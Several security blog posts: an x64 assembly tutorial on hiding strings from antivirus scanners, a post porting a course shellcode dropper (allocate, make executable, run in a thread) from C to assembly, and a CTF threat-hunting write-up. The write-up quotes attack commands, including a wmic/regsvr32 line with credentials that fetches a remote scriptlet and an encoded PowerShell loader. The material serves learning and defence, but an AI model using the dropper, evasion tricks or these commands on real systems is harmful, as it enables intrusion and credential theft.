    lea rdx, [msg_open]      ; lpOperation

    xor rcx, rcx             ; hwnd

    sub rsp, 32
    call    ShellExecuteA    ; Call function
    add rsp, 32

We then initialize the strings by adding a data segment section:

segment .data
    msg_open    db  "open", 0
    msg_notepad db  "notepad", 0

For reference, here is our full code so far:

    bits 64
    default rel

segment .data
    msg_open    db  "open", 0
    msg_notepad db  "notepad", 0

segment .text
    global main
    extern ExitProcess
    extern ShellExecuteA

main:
    push    rbp
    mov     rbp, rsp

    push    0x5
    push    0x0
    xor r9, r9

    lea r8, [msg_notepad]
    lea rdx, [msg_open] 
    xor rcx, rcx    

    sub rsp, 32
    call    ShellExecuteA
    add rsp, 32

    xor     rax, rax
    call    ExitProcess

Take note that this version of the code is still the one where the "notepad" string is detectable.

To hide this string we need to apply the same solution we did to our C code; which is to place the data on the stack so that it would not be placed in the .data segment.

Here is how we did it in C:

    char ca_notepad[] = { 'n','o','t','e','p','a','d', 0 };
    ShellExecute(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

And here is how to do it in assembly:

    sub rsp, 8             ; Reserve space on stack for string
    mov byte [rsp], "n"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "t"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "p"
    mov byte [rsp+5], "a"
    mov byte [rsp+6], "d"
    mov byte [rsp+7], 0x0   
    lea r8, [rsp]          ; Load address of string to r8
    add rsp, 8             ; Reclaim space

Here's a summary of the the above code:

Since our string is 8 characters long (Including the 0x0 or NULL terminator), we reserve space on the stack with sub rsp, 8.
Each character is then placed individually in the reserved space using move byte while adding an offset to rsp.
The address pointed to by rsp is then loaded to the r8 register (This holds our 3nd parameter).
We reclaim our reserved space using add rsp, 8.

After the code above, r8 would now point to the location in the stack where our string resides:

Aside: What if we have longer strings?

If we have a longer string like "powershell", then we need to reserve more space on the stack. Take note, however that when reserving space we need to maintain the stack alignment so we add and subtract by multiples of 8. The "powershell" string has 11 characters so we use 16.

    sub rsp, 16
    mov byte [rsp], "p"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "w"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "r"
    mov byte [rsp+5], "s"
    mov byte [rsp+6], "h"
    mov byte [rsp+7], "e"
    mov byte [rsp+8], "l"
    mov byte [rsp+9], "l"
    mov byte [rsp+10], 0x0

    lea r8, [rsp]
    add rsp, 16

With this final version of the code, "notepad" will not be visible to strings anymore.

Here is our final code:

    bits 64
    default rel

segment .data
    msg_open    db  "open", 0

segment .text
    global main
    extern ExitProcess
    extern ShellExecuteA

main:
    push    rbp
    mov     rbp, rsp

    push    0x5
    push    0x0
    xor r9, r9

    sub rsp, 8
    mov byte [rsp], "n"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "t"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "p"
    mov byte [rsp+5], "a"
    mov byte [rsp+6], "d"
    mov byte [rsp+7], 0x0   
    lea r8, [rsp]
    add rsp, 8

    lea rdx, [msg_open] 
    xor rcx, rcx    

    sub rsp, 32
    call    ShellExecuteA
    add rsp, 32

    xor     rax, rax
    call    ExitProcess

Hiding at scale

Writing the code above can get a little tedious especially if we want to pass a really long string. Thankfully, we can use a macro like the one I've written below:

%macro  addstr2stack    1-*
    %assign i 0
    %assign j 0
    %rep    %0
        mov byte [rsp+i+8*j], %1
        %assign i i+1
        %rotate 1

        %if i >= 8
            %assign j j+1
            %assign i 0
        %endif
    %endrep
%endmacro

What the macro does is that it loops through each character and places it into the correct position on the stack.

Important note: When reserving space on the stack, make sure it is in multiples of 16! This is because the stack has a 16-bit boundary for stack alignment!

For example, if our string has 10 characters, we only need to reserve 16 bytes. If our character is 20 characters long, we'd have to reserve 32 bytes.

This macro can then be called like this:

    sub rsp, 16        ; Reserve space for the string on the stack
    addstr2stack "n", "o", "t", "e", "p", "a", "d", 0x0
    lea r8, [rsp]
    ...
    add rsp, 16        ; After use, release the space

Here is what the result of the macro looks like in the debugger:

For the full source code visit the repo on Github. Updates and fixes to the code will be pushed there.

So there you have it, we were able to successfully hide strings by changing the way how the data is declared and placed in memory. If you think about it, the technique is very simple.

However, we've only seen it used against the strings command. Can it evade an actual anti-virus? The answer is probably no. In my next post I'll be talking about API call obfuscation that would help hide functions like ShellExecute.

Edit: Part 2 here

. Also, for any questions or comments, feel free to reach out to me on Twitter or LinkedIn.

For another x64 assembly evasion technique, see Sandbox Evasion by Checking RAM Size.

Converting a malware dropper to x64 assembly

2022-07-03T09:18:00+08:00

In this post I'll be listing down lessons I learned while converting a simple malware dropper written in C to x64 assembly.

I started this project as a way to deepen my understanding of assembly so I could be better in malware development and reverse engineering (And also because I love coding in assembly and would always find an excuse to use it).

What to expect

I'll be going through sections of the C file and show the how it can be written accordingly in x64 Windows assembly. Take note, however, that the conversion is not one-to-one, meaning there are other ways of writing it. What I did was to structure the assembly code so that you can easily compare it with the C code while making sure that the end result will be the same.

I won't be covering the basics of assembly because this post does a better job of doing that. And as for the assembler, I'll be using nasm because this is the one I'm most familiar with.

Disclaimer: I am not an expert in any of these topics. I'm just someone who learned things and wish to share it to others. If I'm wrong about anything feel free to point it out.

Credits

The malware dropper that we'll be converting is made by @reenz0h. I found it in kymb0's repository and I learned that it's a part of the Red Team Operator course by Sektor7. I've read good things about the course and I plan to take it in the future, you should check it out too.

The dropper

Here's the malware dropper that we'll be converting:

/*

 Red Team Operator course code template
 storing payload in .data section

 author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 4 byte payload
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = 4;

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // Allocate a memory buffer for payload.
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Here is what the code does:

Allocates memory buffer with size payload_len
Copies payload to the buffer
The buffer's memory protection is changed to PAGE_EXECUTE_READ which allows for code execution
A thread is created that runs the payload, which runs indefinitely

It doesn't seem that the program is doing much when run. All we see are the payload and exec_mem addresses for debugging purposes and nothing much else.

The most interesting parts with this code will be seen under a debugger, which I'll go through later in this post.

Including external functions

In C, if we want to to use a Windows API function, we need to include the necessary header files and make sure to supply required library names via the linker, like so:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

x64 assembly does not use header files so the process is done differently. First, the necessary ".lib" files should be supplied to the linker:

link dropper_data.obj /subsystem:console /out:dropper_data.exe kernel32.lib msvcrt.lib

Next, every external function that we'll be using in our code needs to be specified as shown below:

segment .text
    global main
    extern ExitProcess
    extern printf
    extern VirtualAlloc
    extern VirtualProtect
    extern RtlMoveMemory
    extern getchar
    extern CreateThread
    extern WaitForSingleObject

Note that the extern keyword in assembly is different in C. Externs in C are used for exporting symbols while they are used for importing symbols in Assembly. global is the one used for exporting.

Once the symbols are properly exported then that is when the functions can be used with the call operand.

The entrypoint

There needs to be an entry point so that the operating system knows where to jump to start our program. We do this in C by declaring a main function:

int main(void) {
    ...
}

In assembly, we declare the entry point with global main (As seen in the previous section) and also supply the main: label within the code. This is where execution will jump to.

segment .text
   global main
   ...
   ...

main:
   push    rbp
   ...
   ...

The payload

The payload in this example is a simple shellcode made for testing purposes. This can be changed to any shellcode of any length as long as payload_len reflects the new size of the shellcode.

// 4 byte payload
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = 4;

In assembly, initializing data is done in segment .data.

segment .data
    ...
    ...
    ;; 4 byte payload
    payload         db  0x90, 0x90, 0xCC, 0xC3
    payload_len     db  4

We can then check the above data laid out in the .data memory segment using a debugger:

You may notice that our shellcode is not at the start of the .data segment because there are other data that was declared prior to our payload. This is important to note as the order we declare the data will be the order they will appear in memory.

Initialized data

All data in assembly needs to be declared and initialized before it can be used:

segment .data
    msg_hello       db  "Hello world!", 0xd, 0xa, 0
    msg_exec_addr   db  "exec_mem addr", 0
    msg_pload_addr  db  "payload addr", 0   
    msg_format      db  "%-20s : 0x%-016p", 0xd, 0xa, 0
    msg_hit_me      db  "Hit me!", 0xd, 0xa, 0

    ...
    ...
    lea rcx, [msg_format]
    lea rdx, [msg_pload_addr]
    ...
    call    printf
    ...

This is optional in C as you can pass data (like a string) directly to a function without adding it to a variable:

printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

However, under the hood, the C compiler actually places these data on the .data segment for you automatically. If you were to compile and run the C program you would see that the strings are in the .data segment.

Uninitialized data

Memory of certain sizes can be reserved so that it can be used later in a program. These unitialized data is declared not in a .data segment but in a .bss segment (more here).

segment .bss    
    exec_mem    resb    8
    old_protect resb    8

Nasm provides specific "pseudo-instructions" for declaring unitialized data like resb (reserve byte), resw (reserve word), and so on.

Alternatively, this can be written like this:

segment .bss    
    exec_mem        db  8 dup (?)   ; Reserve 8 bytes of ? null value
    old_protect     dq  1           ; DQ = QWORD

It would still work but NASM doesn't like it and would throw a warning.

dropper_data.asm:18: warning: attempt to initialize memory in BSS section `.bss': ignored [-w+other]

The memory for the uninitialized data won't be reserved until the program is loaded. Once it is, we can see the reserved memory in the .data segment.

Any data we move to the previously unitialized data can now be seen from a debugger. See below for an example:

    mov [exec_mem], rax  ; Move "000001F96E100000" to memory

Shadow Spaces

When calling a function in x64 Windows assembly, programmers must keep in mind to reserve a "shadow space" before doing a call to an external function that is in another language like C or C++. For example:

    sub     rsp, 32 
    call    getchar
    add     rsp, 32

But what is a shadow space? Here is a quick explanation:

The shadow space is the mandatory 32 bytes (4x8 bytes) you must reserve for the called procedure. It just means you must provide 32 bytes on the stack before calling.

It can be used by compilers to leave a copy of the register values on the stack for later inspection in the debugger. It is meant to be used to make debugging x64 easier.

So in the code above, sub rsp, 32 reserves the shadow space before getchar is called. The space on the stack is highlighted in the image below.

call getchar then executes and the "shadow space" gets filled.

As the caller, we really do not care about the data that gets placed in the shadows space. So after calling the functions we do add rsp, 32 to reclaim the shadow space.

You'll find out the importance of properly reserving and releasing a shadow space especially if you are relying on the stack for saving local variables. Here is a segment of the code where I found out first-hand the importance of handling the shadow space.

    push    rax                ;; I need rax for later so I pushed it on the stack

    lea     rcx, [msg_hit_me]
    call    printf             ;; printf was expecting a shadow space so it just wrote onto the stack, overwriting the value from RAX before

    call    getchar            ;; getchar did the same too

    pop rax                    ;; The value saved by rax is overwritten

Simply handling the shadow space avoided this problem:

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32            ;; shadow space is reserved
    call    printf             ;; printf can write to the stack without overwriting data that I need
    add     rsp, 32            ;; shadow space is released

    sub     rsp, 32            ;; shadow space is reserved
    call    getchar            ;; same goes with getchar
    add     rsp, 32            ;; shadow space is released

    pop rax                    ;; I got the correct value from rax that I pushed

The above code can be further optimized by only releasing the shadow space after both call to printf and getchar, as shown below:

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32            ;; shadow space is reserved
    call    printf             ;; printf can write to the stack without overwriting data that I need

    call    getchar            ;; same goes with getchar
    add     rsp, 32            ;; shadow space is released

    pop rax                    ;; I got the correct value from rax that I pushed

However, there might come a time when the code will change and you might forget to re-add the code that releases and reserves the shadow space. This may lead to hard-to-find stack related problems. To avoid this, just make it a habit to reserve and release the shadow space every time an external function is called.

As an alternative, you can use a routine that could reserve and release the shadow space automatically like the one below:

shadow_call:
    pop rbx         ; Get the return address pointer in a non-volitile register
    sub rsp, 20h    ; Add the shadow space
    call rax        ; Call the function
    add rsp, 20h    ; Remove the shadow space
    jmp rbx         ; Go back to the stored instruction address
    ret

To call the routine, just do this:

    mov rax, getchar
    call    shadow_call

But honestly, I think it's less complicated to just do the handling of shadow space yourself.

Shadow spaces threw me off a bit when I was researching about this, but everything I said above should be enough of an explanation. If however you want more then go here and then here.

Microsoft x64 Calling Convention

It is also important to note that the calling convention for functions is different for Windows compared to other operating systems.

As a quick reference, if you are going to pass parameters to a function you need to use registers rcx, rdx, r8, and r9 for the first, second, third, and fourth parameters respectively.

Here's an example from our code:

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

In assembly, we supply the parameters like so:

    ;; Make new buffer as executable
    mov rcx, [exec_mem]      ;; First parameter
    xor rdx, rdx
    mov dl, [payload_len]    ;; Second parameter
    mov r8, 0x20             ;; Third parameter
    xor r9, r9
    lea r9, [old_protect]    ;; Fourth parameter
    sub     rsp, 32          ;; Reserve shadow space
    call    VirtualProtect   ;; Call function
    add     rsp, 32          ;; Release shadow space

For functions that require more than four parameters, the stack needs to be utilized. This can get confusing so let me point you to this post as it has diagrams for visualization.

The final code

The rest of the code can be converted using the concepts I've described above. Here is the fully converted code:

    bits 64
    default rel

segment .data
    msg_hello   db  "Hello world!", 0xd, 0xa, 0
    msg_exec_addr   db  "exec_mem addr", 0
    msg_pload_addr  db  "payload addr", 0   
    msg_format  db  "%-20s : 0x%-016p", 0xd, 0xa, 0
    msg_hit_me  db  "Hit me!", 0xd, 0xa, 0

    ;; 4 byte payload
    payload     db  0x90, 0x90, 0xCC, 0xC3
    payload_len     db  4

segment .bss    
    exec_mem    resb    8
    old_protect resb    8   

segment .text
    global main
    extern ExitProcess
    extern printf
    extern VirtualAlloc
    extern VirtualProtect
    extern RtlMoveMemory
    extern getchar
    extern CreateThread
    extern WaitForSingleObject

main:
    push    rbp
    mov     rbp, rsp

    ;; Allocate a memory buffer for payload.
    mov rcx, 0
    xor rdx, rdx
    mov dl, [payload_len]
    mov r8, 0x3000
    mov r9, 0x4
    sub     rsp, 32 
    call    VirtualAlloc
    add     rsp, 32 

    mov [exec_mem], rax

    lea     rcx, [msg_format]
    lea rdx, [msg_pload_addr]
    lea r8, payload
    sub     rsp, 32 
    call    printf
    add     rsp, 32 

    lea     rcx, [msg_format]
    lea rdx, [msg_exec_addr]
    mov r8, [exec_mem]
    sub     rsp, 32

    call    printf
    add     rsp, 32 

    ;; Copy payload to new buffer
    mov rcx, [exec_mem]
    lea rdx, [payload]
    xor r8, r8
    mov r8b, [payload_len]
    sub     rsp, 32     
    call    RtlMoveMemory
    add     rsp, 32 

    ;; Make new buffer as executable
    mov rcx, [exec_mem]
    xor rdx, rdx
    mov dl, [payload_len]
        mov r8, 0x20
    xor r9, r9
    lea r9, [old_protect]
    sub     rsp, 32     
    call    VirtualProtect
    add     rsp, 32

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32         
    call    printf
    add     rsp, 32 

    sub     rsp, 32             
    call    getchar
    add     rsp, 32

    pop rax

    ;; If all good, run the payload 
    jz  ifrvzero

    xor rcx, rcx
    xor rdx, rdx
    mov r8, [exec_mem]
    xor r9, r9
    push    r9
    push    r9
    call    CreateThread

    mov rcx, rax
    mov rdx, 0xFFFFFFFF
    call    WaitForSingleObject

ifrvzero:

    xor     rax, rax
    call    ExitProcess

As mentioned before, I did my best to match the structure of the C code to the assembly code to make it easy to compare how one section was translated to the other. There are other parts like the jz ifrvzero conditonal jump that I didn't discuss, but those can be easily be understood if you know the basics in assembly.

I've also uploaded the code on it's own repository here. Updates and fixes to the code will be pushed there.

A lot of the concepts I've described in this post were the lessons I learned while working on this project. Most of these can be researched but I'm hoping that collecting them in one location would benefit the next bloke who is crazy like me to do the same.

Feel free to reach out to me on Twitter or LinkedIn for any questions or comments.

These x64 assembly skills are put to use in Sandbox Evasion by Checking RAM Size, where I apply the same calling conventions to implement a real evasion technique.

Also related: String AV Evasion in x64 Assembly, which uses the stack techniques covered here to hide strings from antivirus scanners.

Cyber Corp Case 2 Writeup - Part 3

2021-11-06T11:10:00+08:00

The second case of the CyberCorp challenge on CyberDefenders.org is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This write-up is the third and final part of this walkthrough. You could read Part 1 here and Part 2 here.

Finding the post-reverse shell activity

Question 11. As a result of running a malicious code, which we talk about in questions 9 and 10, the attacker got a shell on the compromised host. Using this access, the attacker downloaded the Active Directory collection utility to the host in an encoded form. Specify a comma-separated, non-spaced link where the encoded version of the utility was downloaded and a SHA256 hash of the decoded version that was directly run by the attacker on the compromised host.

So from the question, I knew that the download happened after the reverse-shell was run. And so I changed the start date timestamp to Jun 22, 2021 @ 07:41:56.000. I also knew that because there was a downloaded file, there would definitely be "NetworkConnection" and "FileCreate" events that would happen afterward. And so, the query I've created is this:

event_type:FileCreate OR event_type:NetworkConnection

The result shows cmd.exe creating a certutil.exe process. And the reason why this is suspicious is that certutil.exe can be used as an alternative way of downloading files from an external source. You can read more about this here.

The next event shows certutil.exe establishing a connection to an external IP and downloading the file chrome_installer.log2:data. This tells us the first half of the answer to the question.

The next step is to find out the SHA256 of the decoded version of the downloaded file. I then updated the timestamp to Jun 22, 2021 @ 07:46:10.000, which is the time the file was downloaded, and then used the query:

event_type:ProcessCreate AND enrich.ioa.max_severity:*

We could see that cmd.exe created the process svchost.exe, but the suspicious thing is that the process' directory is c:\windows\temp\ which is highly unusual for svchost.exe to run from. We can easily assume that the previously downloaded chrome_installer.log2 was renamed to svchost.exe and this is the one that it ran. Getting the hash for this file will give us the second half of our answer to this question.

Finding the dump file

Question 12. During the post-exploitation process, the attacker used one of the standard Windows utilities to create a memory dump of a sensitive system process that contains credentials of active users in the system. Specify the name of the executable file of the utility used and the name of the memory dump file created, separated by a comma without spaces.

Without changing the date range and the query from the previous question, I continued to investigate the other events that have a value of high in its enrich.ioa.max_severity field. The event below happened a few seconds after the event from the previous question.

From the enrich.ioa.rules field we can see the value win_memory_dumping_via_comsvcs_minidump. What happened was that rundll32.exe executed the comsvs.dll and dumped the LSASS memory into a dump file. You can learn more about this technique here. Here is that technique visualized with my vATT&CK tool:

From the information above, we now have what we need to answer the question.

Detecting lateral movement

Question 13. Presumably, the attacker extracted the password of one of the privileged accounts from the memory dump we discussed in the previous question and used it to run a malicious code on one of the domain controllers. What account are we talking about? Specify its username and password as the answer in login:password format.

The first thing I wanted to find out was to figure out what the IP of the domain controller is. I knew that there is a Windows event ID 5308 (Microsoft-Windows-Group-Policy) that lists the domain controller details. So I made a query based on that and also added in search for the texts "domain" and "controller".

event_id:5308 AND ("domain" OR "controller")

And this gave me exactly what I was looking for:

Domain Controller details: 
    Domain Controller Name : DC01-CYBERCORP.cybercorp.com
    Domain Controller IP Address : 192.168.184.100

Now that I know the IP, I can now search for any events related to this IP:

net_dst_ipv4:192.168.184.100 AND enrich.ioa.max_severity:*

As we can see, we have a wmic command that passes the username and password to the domain controller's IP. This answers question 13.

Side Quest: Tracing the next steps

I wanted to find out what exactly happens when the command line from the previous question is run:

wmic /node:192.168.184.100 /user:inventory /password:jschindler35 process call create 'regsvr32 /u /n /s /i:http://94.177.253.126:8080/Ec9KoccK.sct scrobj.dll'

From my research, I learned that this is using WMI to execute a process on a remote host. In this case, regsvr32 is called to execute the specified remote .sct file with scrobj.dll. More info about this technique here and here.

The second group

Question 14. A compromised user account is a member of two Built-in privileged groups on the Domain Controller. The first group is the Administrators. Find the second group. Provide the SID of this group as an answer.

To solve this, we'll be needing to make a search query with the following information that we got from the previous questions:

inventory - The name of the compromised user account
DC01-CYBERCORP.cybercorp.com - The hostname of the domain controller
192.168.184.100 - IP of the domain controller

("inventory" OR "group") AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100 AND usr_tgt_name:Inventory

There will be a lot of entries, but the one below would have information that we need:

The event lists the group membership information for the user inventory. Within the field usr_token_groups we can see the following information:

    %{S-1-5-21-3899523589-2416674273-2941457644-513}
    %{S-1-1-0}
    %{S-1-5-32-544}
    %{S-1-5-32-551}
    %{S-1-5-32-545}
    %{S-1-5-32-554}
    %{S-1-5-2}
    %{S-1-5-11}
    %{S-1-5-15}
    %{S-1-18-1}
    %{S-1-5-21-3899523589-2416674273-2941457644-1105}
    %{S-1-16-12288}

Based on this and this, User Token Groups contains the list of security identifiers for groups and that it holds both direct group membership and recursive list of nested groups. This means that the answer to our question is included in that list.

I decided to search for any mention of the SID format S-1-.... So I changed the query to this:

"S-1-*" AND groups AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100

This revealed a new type of event_type value which is InventoryInfo, as shown below:

This inventory info seems to be from an inventory collection tool, but I could not get more info more than that. What is important to us though is the dev_inventory field which contains:

...
{
    "sid": "S-1-5-32-544",
    "name": "BUILTIN\\Administrators",
    "members": [
        "CYBERCORP\\Administrator",
        "CYBERCORP\\Enterprise Admins",
        "CYBERCORP\\Domain Admins",
        "CYBERCORP\\inventory"
    ]
},
...
{
    "sid": "S-1-5-32-551",
    "name": "BUILTIN\\Backup Operators",
    "members": [
        "CYBERCORP\\backupsrv",
        "CYBERCORP\\inventory"
    ]
},
...

The information above shows us two groups that contain inventory as one of their members. The question mentions something about Administrators being the first group, then that means the other group is none other than Backup Operators. Getting the sid of this is our answer to this question.

The Second Reverse Shell

Question 15. As a result of malicious code execution on the domain controller using a compromised account, the attacker got a reverse shell on that host. This shell used a previously not seen IP address as the command center. Specify its address as the answer.

My initial approach was I set the start date to Jun 22, 2021 @ 08:21:22.000 which is the timestamp when the attacker was able to run a remote code on the domain controller (See question #13). I also searched for event_type with a value of NetworkConnection and made sure that the events only happened in the domain controller's IP.

event_type:NetworkConnection AND dev_ipv4:192.168.184.100

This, however, showed too many events. There are just too many network events and too little information in the question to sift through them all.

I knew from the hint that the format of the IP is XXX.XXX.XX.XX. This already helps a lot in narrowing our options, but I still wanted to find it without relying on the hint.

So I used a different approach. My thought process was to start from when the initial code was ran on the domain controller and go see what happened next. This code ran regsvr32 which executed an external script (See Question #13). We could use in our query, and so we get:

dev_ipv4:192.168.184.100 OR "regsvr32"

The results of this query was more revealing:

The very first entry is our wmic event that used regsvr32. This is followed by a PowerShell script accessing lsass.exe and also injecting code into svchost.exe.

I then continued down the list of events to check for any outbound network connections with an IP that has not been previously seen. Unfortunately, the events are still too many to go through. Looking at the Top 5 values also wasn't of too much help.

Going back to the list of events we can see that immediately following the wmic event, there is a powershell process that accesses lsass.exe. It also has a very interesting entry under the proc_cmdline field:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -noni -c "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIADES+14CA7VWa2+bSBT9nEj5D6iyBCiOjV03yUaqtIAhxrVTU2z8qlVhGMPEw6MwxCbd/ve9Y0OaqmnVrrQIiXnc57ln5rLJI5fiOOLc8Sfuy9npychJnZATau51nauF7iUST05guZYlLp1zbzlhKSdJNw4dHK1ubtQ8TVFEj/PGLaJylqFwTTDKBJH7h5sGKEUX79f3yKXcF672qXFL4rVDSrFCddwAcRdy5LG9Qew6LJiGlRBMBf7jR15cXrRWDe1z7pBM4K0ioyhseITwIvdVZA7HRYIEfojdNM7iDW1McfS63ZhEmbNBd2DtAQ0RDWIv40VIA94U0TyNuGNCzMJxX+BhOEpjV/a8FGUZX+eWzPZytfpbWJaOP+QRxSFqGBFFaZxYKH3ALsoaPSfyCPqANivQsmiKI38liiD2EG+RUItyQurcn5gR7tCugu13lYTnSiA1oqlYh0q+lOgw9nKCjqr8C5FC+UV4KgoAdF/PTs9ONxVbvOI5WWB0sjyMEcQmjOIMH6TeclKdG4ITh8ZpAdPaOM2RuHpClqt9dus/125VoiDoZrCwtGPsrUChrGVto07MkG38nJRdtMER6haRE2K34p3wEsBoQ9AhvUYldgcxCXy5gbwuIsh3KEOM1fkHNS3E9ElXyTHxUCq7UKQMooL6id8HcyyCwBvREIUA0HEOxKttgO2oki4ZXlTe2RyEeJU4WVbnRjkcN7fOWcghyKtzcpThckvOaXwY8t/CHeaEYtfJaGVuJT4BWTpU4yijae5C0SD5sZUgFzuEYVHnethDSmFhv3LMv4iE6hAChwAsPUAlYIUhYFFGhRRihLKLDQtRI0wICkHicOx14vhwyEuiH5jj+MjjfwiwIvKRtQyLCoRn4UGBLRLTOmfjlML1wXB1s//i+9mlcYxCTVFZB6E6GUuloIzRtfU9o2OJyCH/lELuehqHipOhy87xehBeNTXcfTPqxo8yPJr+wbQVa2IvjKHXJ5ZBrbmGB5MgMHDL8GFeTDR/RKXk3Xjc61vdnpx298FGNjJD6ymF2VJkt4ev7L4ymYAeVgfm/d6QPSX0Z/5c3RmjYGaAI3XgGz58FSNwFWkh+YqkqwNLCTQsyb5l9sxOa2E0r4mCHy3DknvTJ39PfrROpzfbj+W7YV8O9Pee3mrrB/0t019sbwdd7TB32dycZxrWwI+mz007QFM7UaaavjDtxPDPd75pD5odPVBg3cD7QWI14Wm1+g+R9zgk149DCNe0F32MFoaPCl82ZdmaR8Ra71RZ7V49JHPJ2OoTWNuOjWhvrpOhV8x7zb/sIUZJLJuaLOsEjmMoO7tuszWN35n2G3OiSftiIu132n1zp+H+blt+J7eXl35z0xk1bcuIek6gQLxFv7PF/XPYCx1bmm+aNsOvq0XNx2hGnJHaism62Zrg7pWiGBj174Yu+axAzmDjjbmO1bYbbCAmw782/VkctZ0t2J36MkQH+UGdN30DdJSc4O3kfMZs9XdS2N9LLM6wfw2xtcsYZBoZsybEJ/e6lhrdWsas7SFdaZ67b18xygJna1vvGRN/1j2GTpoFDgGGQleorgQ9TvXyph/FmGkIAvs/2KI0QgTaKzTg6ljJhMQu6zPQEqDDHfsOa4MTGL5uvzgSuSdB8VvzqZZubhYQIhzU9X1jgCKfBnVp/1qSoJdI+44E6f1+UmqcFAIYqrNOBIgcrZKDVZGd21p6dfW/wlTeFQF8vF/D9G3tF7u/BZ1UZ6n+sPj9wh/h+KdZTx1MQdCCm46gY5t9KfmSDs9+QKAcUO1N+bBfyPc5vbiD35Kz038BKGgg/awKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Decoding the base64 string would reveal a PowerShell script that has a hash that VirusTotal flags as malicious.

This is a good indication that this PowerShell process is up to no good. Now we need to find out what other things this process did. The process has a PID of 4460, so plugging that into a query we get:

(proc_id:4460 OR proc_p_id:4460 OR proc_c_id:4460 OR proc_tgt_id:4460) AND dev_ipv4:192.168.184.100

And these are the results:

Looking at the external IP that the process is connecting to, we could see that this is something new that we have not seen before. Thankfully, I had been making a list of all internal and external IPs that I came across during the challenge (Just shows the importance of writing down every information you come across!). Plugging this IP is our solution to this problem.

There we have it. We've gone through and answered all 15 questions. Congratulations if you've made it this far!

If you missed it, you could read Part 1 here and Part 2 here.

I hope that I was able to help you in understanding the process of solving this challenge. I had a lot of fun going through and writing about it. Again, thank you to @BlackMatter23 and the team for sharing this challenge and to CyberDefenders for hosting it.

Cyber Corp Case 2 Writeup - Part 2

2021-11-03T12:00:00+08:00

This writeup is part 2 out of multiple parts. You could read Part 1 here and Part 3 here.

Checking DNS Requests

Question 6. Specify the domain name of the resource from which the files mentioned in question 5 were supposedly downloaded as a result of malicious code execution.

This one is easy. Using the same date range from the previous question, I changed the query to event_type:DNSReq (where "DNSReq" is short for "DNS Requests").

We could easily see a DNS record being queried, which is our answer to this question.

Finding the encoded executable code

Question 7. The first file downloaded (as a result of executing the code in question 5) contained encoded executable code (PE), which after downloading was recorded in the registry. Specify an MD5 hash of the original representation of that code (PE).

I changed the query to registry hoping to see what events it will give me. Surprisingly, the very first one seems to be what we need.

Looking at this log I saw that it has a base64 encoded data under reg_value_data which is partially listed below:

H4sIAAAAAAAEAO1YX0wcRRz+7XEUCuWOkhCJGl3IRiGpV...

I sent this data to CyberChef for decoding. Thankfully the rule_name field also informed me that the data is "gzipped", this allowed me to pick the correct recipes for decoding. The output is a malicious executable based on the MZ "magic-number" at the beginning of the file.

I downloaded the decoded data and then got the SHA256 hash of that file. This gave me the answer to the question.

Side Quest: Investigating the malware

I wanted to learn more about the malicious executable from the previous question so I decided to reverse engineer it, even though it was not part of the challenge.

Some interesting things about the file include the imported functions from kernel32 listed below:

And also a string for rundll32.exe. Looking for the usage of this string from within the code reveals this code segment:

Stepping through the code I was able to figure out that this executable is executing a process hollowing technique (T1055.012). What it does is that it injects the code pointed to by unk_180003000 into rundll32.exe and it would run that code instead of the original rundll32 code. You can find out more technical info about it here.

And of course, a screenshot of the technique using my visualization tool vATT&Ck.

The second downloaded file

Question 8. The second file downloaded (as a result of code execution, which we talked about in question 5) was a script, that was set up to autostart via WMI Subscription. Specify the SHA256 hash of this script.

I already knew of the script that is set to start via WMI subscription from a previous question, and that is C:\\Users\\john.goldberg\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.ps1. So I immediately crafted my query to the one below:

"MSO1033.ps1" AND event_type:FileCreate

While the above query shows events where the MSO1033.ps1 was being created. There was no associated hash in the logs. This forced me to look elsewhere by updating the query to:

"MSO1033.ps1" AND (event_type:FileCreate OR event_type:FileOpen)

And from here it showed me an event associated with MSO1033.ps1 that also has a sha256 hash.

The most difficult question

